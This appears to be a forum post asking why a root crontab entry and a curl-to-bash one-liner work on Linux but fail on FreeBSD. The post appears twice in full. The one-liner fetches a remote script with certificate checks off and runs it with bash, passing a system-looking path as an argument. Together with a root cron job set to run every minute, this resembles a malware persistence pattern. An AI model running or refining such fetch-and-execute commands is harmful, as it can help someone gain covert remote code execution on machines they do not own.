Hi,
1. My first question is regarding crontabs. I added a command to be run every minute in the file /var/cron/tabs/root but it does not execute, is there any other file I need to change as well to make the changes take effect? The syntax of what I added is like this:
* * * * * (bash -c '....')
The same line added on Linux/Ubuntu works(to the equivalent file /var/spool/cron/crontabs/root there).
2. My second question is that I'm trying to run a bash oneliner like this: curl -sk "https://domain.com/test.txt" | bash <(curl -sk "http://domain/script.sh") /usr/sbin/syslog
But I get this error: Missing name for redirect.
The same command on Linux/Ubuntu works perfect, so I'm not sure what to modify to get this oneliner to work on FreeBSD. I tried escaping the < but it didn't help.
I appreciate all help I can get.
1. My first question is regarding crontabs. I added a command to be run every minute in the file /var/cron/tabs/root but it does not execute, is there any other file I need to change as well to make the changes take effect? The syntax of what I added is like this:
* * * * * (bash -c '....')
The same line added on Linux/Ubuntu works(to the equivalent file /var/spool/cron/crontabs/root there).
2. My second question is that I'm trying to run a bash oneliner like this: curl -sk "https://domain.com/test.txt" | bash <(curl -sk "http://domain/script.sh") /usr/sbin/syslog
But I get this error: Missing name for redirect.
The same command on Linux/Ubuntu works perfect, so I'm not sure what to modify to get this oneliner to work on FreeBSD. I tried escaping the < but it didn't help.
I appreciate all help I can get.